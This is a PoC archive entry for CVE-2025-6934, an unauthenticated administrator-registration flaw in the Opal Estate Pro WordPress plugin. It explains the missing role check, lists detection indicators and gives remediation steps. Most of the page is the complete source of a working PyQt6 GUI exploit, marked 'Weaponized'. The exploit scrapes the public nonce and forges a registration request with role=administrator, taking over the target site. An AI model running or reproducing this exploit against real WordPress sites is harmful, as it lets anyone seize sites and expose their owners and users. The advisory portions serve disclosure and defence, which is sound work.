PoC Archive PoC Archive
Critical CVE-2025-6934 unpatched

Opal Estate Pro WordPress Plugin Unauthenticated Administrator Registration (CVE-2025-6934)

by mejbankadir (SMH tech / Mejban HackShield, Under NexoAmicus) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-6934
Category
web
Affected product
Opal Estate Pro (WordPress real-estate plugin)
Affected versions
<= 1.7.5
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchermejbankadir (SMH tech / Mejban HackShield, Under NexoAmicus)
CVE / AdvisoryCVE-2025-6934
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, opal-estate-pro, privilege-escalation, unauthenticated-registration, admin-ajax, nonce-abuse, cwe-269, python
RelatedN/A

Affected Target

FieldValue
Software / SystemOpal Estate Pro (WordPress real-estate plugin)
Versions Affected<= 1.7.5
Language / PlatformPython 3.8+ (CLI with argparse, and PyQt6 GUI) targeting a PHP/WordPress admin-ajax.php endpoint
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS access to the target WordPress site)

Summary

The Opal Estate Pro plugin (<= 1.7.5) exposes a public-facing user self-registration AJAX action, opalestate_register_form, handled by an on_register_user function that fails to restrict which role value a registering visitor may request. A registration request that includes role=administrator is honored as-is, letting any unauthenticated visitor register a brand-new WordPress account with full administrator privileges. The included PoC scrapes the public registration nonce from the site’s front-end HTML, then submits a forged registration request to /wp-admin/admin-ajax.php requesting the administrator role, resulting in complete, unauthenticated site takeover.


Vulnerability Details

Root Cause

The plugin’s front-end self-registration flow accepts a role parameter directly from the HTTP request body and passes it through to WordPress’s user-creation logic without validating it against an allow-list (e.g., restricting registrants to a low-privilege subscriber role). The only “protection” is a per-page CSRF-style nonce (opalestate-register-nonce), which is itself publicly rendered in the registration form’s HTML and therefore trivially harvestable by anyone, authenticated or not:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
data = {
    "username": username,
    "email": email,
    "password": password,
    "password1": password,
    "role": "administrator",
    "confirmed_register": "on",
    "opalestate-register-nonce": nonce,
    "_wp_http_referer": "/",
    "ajax": "1",
    "action": "opalestate_register_form"
}
response = requests.post(target, data=data, verify=False, headers=HEADERS)

Because the nonce only proves the request originated from a page render (not that the caller is privileged), and the role field is trusted verbatim server-side, this is a classic missing-authorization / improper access control flaw (CWE-269) rather than a nonce-forgery issue.

Attack Vector

  1. Attacker requests the target site’s front page (or any page rendering the Opal Estate registration form) to scrape the current opalestate-register-nonce value from the HTML <input> field.
  2. Attacker crafts a POST /wp-admin/admin-ajax.php request with action=opalestate_register_form, a chosen username/email/password, role=administrator, confirmed_register=on, and the harvested nonce.
  3. The plugin’s AJAX handler processes the registration without checking whether self-registration should be restricted to non-privileged roles, and creates the account with the requested administrator role.
  4. The response returns a JSON body (status: true on success), and the attacker now holds valid administrator credentials for /wp-admin.

Impact

Unauthenticated remote attackers can create a fully privileged WordPress administrator account with attacker-chosen credentials in a single request, leading to arbitrary plugin/theme installation (PHP code execution), full database access, content tampering, and complete site takeover.


Environment / Lab Setup

Target:   WordPress installation with Opal Estate Pro plugin <= 1.7.5 active, front-end registration
           form reachable, and admin-ajax.php accessible (default WordPress configuration)
Attacker: Python 3.8+
          pip install -r requirements.txt   # requests, beautifulsoup4, colorama, PyQt6 (GUI only)

Proof of Concept

PoC Script

See CVE-2025-6934.py (CLI) and CVE-2025-6934-GUI.py (PyQt6 GUI) in this folder.

1
2
3
4
5
pip install -r requirements.txt

python3 CVE-2025-6934.py -u http://TARGET -mail attacker@example.com -password 'P@ssw0rd123'

python3 CVE-2025-6934-GUI.py

The script fetches the target’s registration page, extracts the opalestate-register-nonce value, then submits POST /wp-admin/admin-ajax.php with action=opalestate_register_form and role=administrator, printing the resulting admin credentials on success.


Detection & Indicators of Compromise

GET /?p=... HTTP/1.1                     (or any page rendering the registration form)
...
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=opalestate_register_form&role=administrator&confirmed_register=on&opalestate-register-nonce=...

Signs of compromise:

  • New WordPress user accounts with administrator role that were never provisioned through /wp-admin/user-new.php
  • admin-ajax.php access logs showing action=opalestate_register_form requests containing role=administrator
  • Registration requests originating from IPs with no prior authenticated session

Remediation

ActionDetail
Primary fixUpdate the Opal Estate Pro plugin to a version newer than 1.7.5 that restricts the self-registration role to a fixed, non-privileged value (per vendor guidance / Nuclei template remediation)
Interim mitigationDisable public self-registration in Opal Estate Pro if not required, or front the registration endpoint with a WAF rule blocking role=administrator (or any non-subscriber role) in opalestate_register_form requests; audit existing user list for unexpected administrator accounts

References


Notes

Mirrored from https://github.com/MejbanKadir/CVE-2025-6934-PoC on 2026-07-06. Working exploit script (CLI + GUI) registering an administrator account via the Opal Estate Pro plugin; repo also bundles a Nuclei-style YAML template (CVE-2025-6934.yaml, credited to researcher pussycat0x) documenting the same root cause (missing role restriction in on_register_user).

CVE-2025-6934-GUI.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
#!/usr/bin/env python3
"""
CVE-2025-6934 Exploit GUI - PyQt6 Application
Created and developed fully by mejbankadir (SMH tech and Mejban HackSheild Under NexoAmicus)
"""

import sys
import requests
import re
import json
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from PyQt6.QtWidgets import (
    QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
    QLabel, QLineEdit, QPushButton, QTextEdit, QGroupBox,
    QMessageBox, QFrame
)
from PyQt6.QtCore import QThread, pyqtSignal, Qt
from PyQt6.QtGui import QFont, QColor, QTextCharFormat, QTextCursor

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}


class ExploitThread(QThread):
    """Background thread for exploit execution"""
    log_signal = pyqtSignal(str, str)  # message, color
    finished_signal = pyqtSignal(bool, str)  # success, message

    def __init__(self, base_url, email, password, username):
        super().__init__()
        self.base_url = base_url
        self.email = email
        self.password = password
        self.username = username

    def run(self):
        try:
            self.log_signal.emit("[•] Starting Exploit Attempt...", "cyan")

            # Get nonce
            nonce = self.get_nonce()
            if not nonce:
                self.log_signal.emit("[✖] Failed to retrieve nonce", "red")
                self.finished_signal.emit(False, "Failed to retrieve nonce")
                return

            self.log_signal.emit(f"[•] Nonce Found: {nonce}", "cyan")

            # Execute exploit
            target = urljoin(self.base_url, "/wp-admin/admin-ajax.php")
            data = {
                "username": self.username,
                "email": self.email,
                "password": self.password,
                "password1": self.password,
                "role": "administrator",
                "confirmed_register": "on",
                "opalestate-register-nonce": nonce,
                "_wp_http_referer": "/",
                "ajax": "1",
                "action": "opalestate_register_form"
            }

            self.log_signal.emit(f"[•] Sending exploit to {target}...", "cyan")
            response = requests.post(target, data=data, verify=False, headers=HEADERS)
            self.log_signal.emit(f"[i] HTTP Status: {response.status_code}", "yellow")

            try:
                result = response.json()
                if result.get("status") is True:
                    self.log_signal.emit("\n" + "=" * 30, "green")
                    self.log_signal.emit("[✔] Exploit Successful!", "green")
                    self.log_signal.emit(f"    Username : {self.username}", "cyan")
                    self.log_signal.emit(f"    Email    : {self.email}", "cyan")
                    self.log_signal.emit(f"    Password : {self.password}", "cyan")
                    self.log_signal.emit(f"    Role     : administrator", "cyan")
                    self.log_signal.emit("=" * 30 + "\n", "green")
                    self.finished_signal.emit(True, "Exploit successful!")
                else:
                    self.log_signal.emit("[✖] Exploit Failed!", "red")
                    message = result.get("message", "")
                    clean_msg = BeautifulSoup(message, "html.parser").get_text().strip()
                    self.log_signal.emit(f"[i] Reason: {clean_msg}", "yellow")
                    self.finished_signal.emit(False, clean_msg)

            except json.JSONDecodeError:
                self.log_signal.emit("[✖] Unexpected response (non-JSON):", "red")
                self.log_signal.emit(response.text, "red")
                self.finished_signal.emit(False, "Unexpected response")

        except Exception as e:
            self.log_signal.emit(f"[✖] Exploit Error: {e}", "red")
            self.finished_signal.emit(False, str(e))

        self.log_signal.emit(
            "Exploit Complete — Created and developed fully by mejbankadir (SMH tech and Mejban HackSheild Under NexoAmicus)",
            "magenta"
        )

    def get_nonce(self):
        try:
            response = requests.get(self.base_url, verify=False, timeout=10, headers=HEADERS)
            soup = BeautifulSoup(response.text, "html.parser")
            input_tag = soup.find("input", {"name": "opalestate-register-nonce"})
            return input_tag.get("value") if input_tag else None
        except Exception:
            return None


class CVE20256934GUI(QMainWindow):
    """Main GUI Window for CVE-2025-6934 Exploit"""

    def __init__(self):
        super().__init__()
        self.exploit_thread = None
        self.init_ui()

    def init_ui(self):
        self.setWindowTitle("CVE-2025-6934 Exploit GUI")
        self.setGeometry(100, 100, 900, 700)
        self.setStyleSheet("""
            QMainWindow {
                background-color: #1a1a2e;
            }
            QGroupBox {
                color: #00d9ff;
                border: 2px solid #00d9ff;
                border-radius: 8px;
                margin-top: 10px;
                font-weight: bold;
                padding-top: 10px;
            }
            QGroupBox::title {
                subcontrol-origin: margin;
                subcontrol-position: top center;
                padding: 0 5px;
            }
            QLabel {
                color: #ffffff;
                font-size: 12px;
            }
            QLineEdit {
                background-color: #16213e;
                color: #00d9ff;
                border: 1px solid #0f3460;
                border-radius: 4px;
                padding: 8px;
                font-size: 12px;
            }
            QLineEdit:focus {
                border: 1px solid #00d9ff;
            }
            QPushButton {
                background-color: #0f3460;
                color: #00d9ff;
                border: 1px solid #00d9ff;
                border-radius: 6px;
                padding: 12px 24px;
                font-size: 14px;
                font-weight: bold;
            }
            QPushButton:hover {
                background-color: #00d9ff;
                color: #1a1a2e;
            }
            QPushButton:pressed {
                background-color: #0099cc;
            }
            QPushButton:disabled {
                background-color: #333;
                color: #666;
                border-color: #666;
            }
            QTextEdit {
                background-color: #0a0a14;
                color: #00ff88;
                border: 1px solid #0f3460;
                border-radius: 4px;
                font-family: 'Courier New', monospace;
                font-size: 11px;
            }
        """)

        # Central widget
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        main_layout = QVBoxLayout(central_widget)
        main_layout.setContentsMargins(20, 20, 20, 20)
        main_layout.setSpacing(15)

        # Banner
        banner_label = QLabel(self.get_banner())
        banner_label.setStyleSheet("""
            color: #00d9ff;
            font-family: 'Courier New', monospace;
            font-size: 10px;
            padding: 10px;
            background-color: #0a0a14;
            border-radius: 5px;
        """)
        main_layout.addWidget(banner_label)

        # Title and credits
        title_label = QLabel("CVE-2025-6934 Exploit PoC")
        title_label.setStyleSheet("""
            color: #ffff00;
            font-size: 18px;
            font-weight: bold;
            padding: 10px;
        """)
        title_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
        main_layout.addWidget(title_label)

        credits_label = QLabel("Created and developed fully by mejbankadir\n(SMH tech and Mejban HackSheild Under NexoAmicus)")
        credits_label.setStyleSheet("""
            color: #00ff00;
            font-size: 12px;
            padding: 5px;
        """)
        credits_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
        main_layout.addWidget(credits_label)

        # Description
        desc_label = QLabel("Unauthenticated Administrator Account Creation\nWordPress Plugin: Opal Estate Pro <= 1.7.5")
        desc_label.setStyleSheet("""
            color: #ff6b6b;
            font-size: 11px;
            padding: 5px;
        """)
        desc_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
        main_layout.addWidget(desc_label)

        # Input Group
        input_group = QGroupBox("Exploit Configuration")
        input_layout = QVBoxLayout()

        # Target URL
        url_layout = QHBoxLayout()
        url_label = QLabel("Target URL:")
        url_label.setFixedWidth(120)
        self.url_input = QLineEdit()
        self.url_input.setPlaceholderText("http://site.com/path/")
        url_layout.addWidget(url_label)
        url_layout.addWidget(self.url_input)
        input_layout.addLayout(url_layout)

        # Email
        email_layout = QHBoxLayout()
        email_label = QLabel("Email:")
        email_label.setFixedWidth(120)
        self.email_input = QLineEdit()
        self.email_input.setPlaceholderText("admin@example.com")
        email_layout.addWidget(email_label)
        email_layout.addWidget(self.email_input)
        input_layout.addLayout(email_layout)

        # Password
        password_layout = QHBoxLayout()
        password_label = QLabel("Password:")
        password_label.setFixedWidth(120)
        self.password_input = QLineEdit()
        self.password_input.setPlaceholderText("Password123")
        self.password_input.setEchoMode(QLineEdit.EchoMode.Password)
        password_layout.addWidget(password_label)
        password_layout.addWidget(self.password_input)
        input_layout.addLayout(password_layout)

        # Username
        username_layout = QHBoxLayout()
        username_label = QLabel("Username:")
        username_label.setFixedWidth(120)
        self.username_input = QLineEdit()
        self.username_input.setPlaceholderText("mejbankadir")
        self.username_input.setText("mejbankadir")
        username_layout.addWidget(username_label)
        username_layout.addWidget(self.username_input)
        input_layout.addLayout(username_layout)

        # Exploit Button
        self.exploit_btn = QPushButton("🚀 EXPLOIT")
        self.exploit_btn.setFixedHeight(45)
        self.exploit_btn.clicked.connect(self.run_exploit)
        input_layout.addWidget(self.exploit_btn)

        input_group.setLayout(input_layout)
        main_layout.addWidget(input_group)

        # Output Console
        output_group = QGroupBox("Console Output")
        output_layout = QVBoxLayout()
        self.console = QTextEdit()
        self.console.setReadOnly(True)
        output_layout.addWidget(self.console)
        output_group.setLayout(output_layout)
        main_layout.addWidget(output_group)

        # Status Bar
        self.statusBar().showMessage("Ready - Created and developed by mejbankadir")

    def get_banner(self):
        return r"""
 _____________   _______________         _______________   ________   .________           ________________________     _____  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/          /  _____/   __   \_____  \   /  |  | 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______ /   __  \\____    / _(__  <  /   |  |_
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/ \  |__\  \  /    / /       \/    ^   /
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /          \_____  / /____/ /______  /\____   | 
        \/                  \/                  \/     \/         \/       \/                 \/                \/      |__| 
 """

    def append_log(self, message, color="white"):
        """Append message to console with color"""
        color_map = {
            "red": "#ff4444",
            "green": "#00ff88",
            "yellow": "#ffff00",
            "cyan": "#00d9ff",
            "magenta": "#ff00ff",
            "white": "#ffffff"
        }
        cursor = self.console.textCursor()
        cursor.movePosition(QTextCursor.MoveOperation.End)
        
        fmt = QTextCharFormat()
        fmt.setForeground(QColor(color_map.get(color, "#ffffff")))
        cursor.setCharFormat(fmt)
        cursor.insertText(message + "\n")
        
        self.console.setTextCursor(cursor)
        self.console.ensureCursorVisible()

    def run_exploit(self):
        """Execute exploit button handler"""
        url = self.url_input.text().strip()
        email = self.email_input.text().strip()
        password = self.password_input.text().strip()
        username = self.username_input.text().strip()

        # Validation
        if not url:
            QMessageBox.warning(self, "Validation Error", "Please enter a target URL")
            return
        if not url.startswith(("http://", "https://")):
            QMessageBox.warning(self, "Validation Error", "URL must start with http:// or https://")
            return
        if not email:
            QMessageBox.warning(self, "Validation Error", "Please enter an email address")
            return
        if not password:
            QMessageBox.warning(self, "Validation Error", "Please enter a password")
            return
        if not username:
            QMessageBox.warning(self, "Validation Error", "Please enter a username")
            return

        # Clear console and disable button
        self.console.clear()
        self.exploit_btn.setEnabled(False)
        self.append_log("=" * 50, "cyan")
        self.append_log("CVE-2025-6934 Exploit - Starting...", "cyan")
        self.append_log("Created and developed by mejbankadir", "green")
        self.append_log("=" * 50, "cyan")
        self.append_log(f"[i] Target URL: {url}", "yellow")
        self.append_log(f"[i] Username: {username}", "yellow")
        self.append_log(f"[i] Email: {email}", "yellow")
        self.append_log(f"[i] Password: {password}", "yellow")
        self.append_log("", "white")

        # Start exploit thread
        self.exploit_thread = ExploitThread(url, email, password, username)
        self.exploit_thread.log_signal.connect(self.append_log)
        self.exploit_thread.finished_signal.connect(self.exploit_finished)
        self.exploit_thread.start()

    def exploit_finished(self, success, message):
        """Handle exploit completion"""
        self.exploit_btn.setEnabled(True)
        if success:
            self.statusBar().showMessage("Exploit Successful!", 5000)
        else:
            self.statusBar().showMessage(f"Exploit Failed: {message}", 5000)


def main():
    app = QApplication(sys.argv)
    window = CVE20256934GUI()
    window.show()
    sys.exit(app.exec())


if __name__ == "__main__":
    main()